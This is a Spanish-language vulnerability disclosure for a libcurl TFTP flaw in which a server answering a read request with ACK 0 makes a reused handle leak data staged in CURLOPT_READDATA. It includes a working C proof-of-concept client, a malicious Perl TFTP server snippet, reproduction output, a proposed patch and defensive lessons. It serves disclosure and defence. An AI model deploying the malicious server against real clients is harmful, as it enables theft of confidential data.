Resumen
En TFTP, la dirección de una transferencia la decide quien la inicia: una petición de lectura (RRQ) debe responderse con un paquete DATA de bloque 1, y una de escritura (WRQ) con un ACK de bloque 0 (RFC 1350). La máquina de estados TFTP de libcurl no comprobaba que la primera respuesta del servidor encajara con lo que se había pedido.
El fallo está en tftp_send_first() (lib/tftp.c). La rama que trata OACK sí mira data->state.upload, pero las de ACK y DATA no:
// lib/tftp.c:766-781
case TFTP_EVENT_ACK: /* only valid reply to WRQ — no upload check */
result = tftp_connect_for_tx(state, event);
break;
case TFTP_EVENT_DATA: /* only valid reply to RRQ — no upload check */
result = tftp_connect_for_rx(state, event);
break;
Así, si curl pide descargar un fichero y el servidor contesta con un ACK de bloque 0, curl pasa sin más a modo transmisión. Una vez ahí, tftp_tx() llama a Curl_client_read(), que tira de CURLOPT_READFUNCTION / CURLOPT_READDATA (lib/sendf.c:1152-1179). Esas opciones son persistentes en el handle: si antes se usó el mismo handle para un POST o un envío MIME, la fuente de lectura sigue configurada y el servidor TFTP se la lleva.
La cantidad que se filtra depende de infilesize, que también se arrastra: tras un CURLOPT_POSTFIELDS vale la longitud de ese cuerpo; tras un cuerpo MIME vale -1, es decir, se lee hasta el final.
Según el investigador, afecta a todas las versiones con soporte TFTP desde la 7.15.0 (commit 56d9624b56) hasta main en el momento del reporte, y no hay forma de llegar por redirección, porque CURLPROTO_REDIR solo incluye HTTP, HTTPS, FTP y FTPS. HackerOne lo clasificó con severidad "none", pero se le asignó el CVE-2026-92389.
Pasos de reproducción
El escenario es una aplicación corriente que reutiliza el mismo handle: primero un POST HTTP y después una descarga TFTP sin ninguna opción especial.
- Preparar un fichero con contenido "sensible" (en la prueba,
SECRET-STAGED-FILE-CONTENT, 27 bytes) y asignarlo al handle conCURLOPT_READDATA. - Hacer un POST HTTP con ese mismo handle usando
CURLOPT_POSTFIELDScon el cuerpoBENIGN-HTTP-BODY(16 bytes). - Sin reiniciar el handle, cambiar
CURLOPT_URLa una direccióntftp://y ejecutar la transferencia (una simple descarga). - En el lado del servidor TFTP, al recibir el RRQ, responder con un ACK de bloque 0 en lugar de DATA de bloque 1, y luego ir aceptando con ACK cada paquete DATA que llegue.
El cliente de la prueba de concepto:
#include <curl/curl.h>
#include <stdio.h>
#include <string.h>
static const char benign[] = "BENIGN-HTTP-BODY";
static size_t discard(char *p, size_t sz, size_t n, void *u)
{ (void)p; (void)u; return sz * n; }
int main(int argc, char **argv) {
const char *mode = argv[1], *http_url = argv[2], *tftp_url = argv[3];
const char *readdata_file = argv[4];
CURL *h = curl_easy_init();
CURLcode r1, r2;
curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, discard);
curl_easy_setopt(h, CURLOPT_TIMEOUT, 10L);
if (strcmp(readdata_file, "-")) {
FILE *staged = fopen(readdata_file, "rb");
curl_easy_setopt(h, CURLOPT_READDATA, staged);
}
curl_easy_setopt(h, CURLOPT_POSTFIELDS, benign);
curl_easy_setopt(h, CURLOPT_URL, http_url);
r1 = curl_easy_perform(h);
if (!strcmp(mode, "reset")) {
curl_easy_reset(h);
curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, discard);
curl_easy_setopt(h, CURLOPT_TIMEOUT, 10L);
}
curl_easy_setopt(h, CURLOPT_URL, tftp_url);
r2 = curl_easy_perform(h);
printf("mode=%s http_rc=%d tftp_rc=%d\n", mode, (int)r1, (int)r2);
curl_easy_cleanup(h);
return 0;
}
La parte clave del servidor TFTP malicioso (en Perl), que contesta al RRQ con un ACK 0 y guarda lo que recibe:
$sock->send(pack('nn', 4, 0), 0, $peer);
while (1) {
my ($data, $from) = recv_packet(10);
last unless defined $data;
my ($op, $block) = unpack 'nn', $data;
last unless $op == 3;
$peer = $from;
my $payload = substr $data, 4;
print $out $payload;
$sock->send(pack('nn', 4, $block), 0, $peer);
last if length($payload) < 512;
}
El script completo se lanza en tres modos: readdata (el ataque), reset (se llama a curl_easy_reset() entre las dos transferencias) y conforming (servidor honesto que responde con DATA 1):
run: sh reproduce.sh readdata
control: sh reproduce.sh reset
sh reproduce.sh conforming
Resultado medido en curl-8_22_0 y en main:
mode=readdata http_rc=0 tftp_rc=0
drained=16 capture=[SECRET-STAGED-FI]
mode=reset http_rc=0 tftp_rc=0
drained=0 capture=[]
mode=conforming http_rc=0 tftp_rc=0
drained=0 capture=[]
Las dos transferencias terminan con CURLE_OK, así que la aplicación no se entera de nada. El servidor se queda con 16 bytes del fichero: justo la longitud del cuerpo del POST anterior, que seguía guardada como infilesize. Los dos modos de control no filtran nada, lo que confirma que la causa es la respuesta en la dirección equivocada.
Impacto
Un servidor TFTP al que la aplicación se conecta a propósito podía recibir datos que estaban preparados en CURLOPT_READDATA para otra cosa: una subida posterior, el cuerpo de un POST o la entrada estándar. No hace falta ninguna opción TFTP concreta; basta con reutilizar el handle o con una invocación de varias URL. Con un cuerpo MIME previo, la lectura no tiene límite y se vacía la fuente hasta el final. El investigador aclara que no hay corrupción de memoria: es solo un problema de confidencialidad.
El caso contrario (contestar a una WRQ con DATA) también se acepta: tftp_receive_packet() (lib/tftp.c:1079-1091) entrega los paquetes DATA a Curl_client_write() sin comprobar state->upload, y lo hace antes de pasar por la máquina de estados. El investigador no lo considera un problema de seguridad aparte, porque un servidor legítimo ya puede aceptar una subida y descartarla.
Remediación
El reporte figura como resuelto y con CVE asignado. El investigador propuso rechazar la respuesta cuando no coincide con la dirección pedida:
case TFTP_EVENT_ACK:
if(!data->state.upload)
return CURLE_TFTP_ILLEGAL;
result = tftp_connect_for_tx(state, event);
break;
case TFTP_EVENT_DATA:
if(data->state.upload)
return CURLE_TFTP_ILLEGAL;
result = tftp_connect_for_rx(state, event);
break;
Para cerrar también el caso inverso, sugirió comprobar la dirección en tftp_receive_packet(), devolver CURLE_TFTP_ILLEGAL en la rama por defecto de tftp_tx() y añadir una prueba de regresión que asegure que una RRQ nunca llama a Curl_client_read() y que una WRQ nunca entrega DATA del servidor al escritor de descargas. El reporte no detalla qué parche se aplicó al final ni en qué versión.
Qué aprender de este caso
- En los clientes de protocolos donde la dirección o el tipo de transferencia se negocia con el primer paquete, revisa la función que trata la primera respuesta del servidor: cada tipo de paquete debería aceptarse solo si encaja con lo que el cliente pidió. Que una rama lo compruebe (aquí OACK) y sus vecinas (ACK y DATA) no es una buena pista de fallo.
- Las opciones persistentes de un handle reutilizable, como
CURLOPT_READDATAoinfilesize, pueden acabar usándose en una transferencia para la que nunca se pensaron. Si tu aplicación reutiliza handles de libcurl entre protocolos o destinos distintos, llama acurl_easy_reset()o limpia explícitamente la fuente de lectura antes de cada transferencia. - Al buscar fugas de este tipo, monta un servidor falso que responda "al revés" de lo esperado y mide qué bytes salen del cliente, comparando con controles (handle reiniciado, servidor honesto) para aislar la causa como hace este reporte.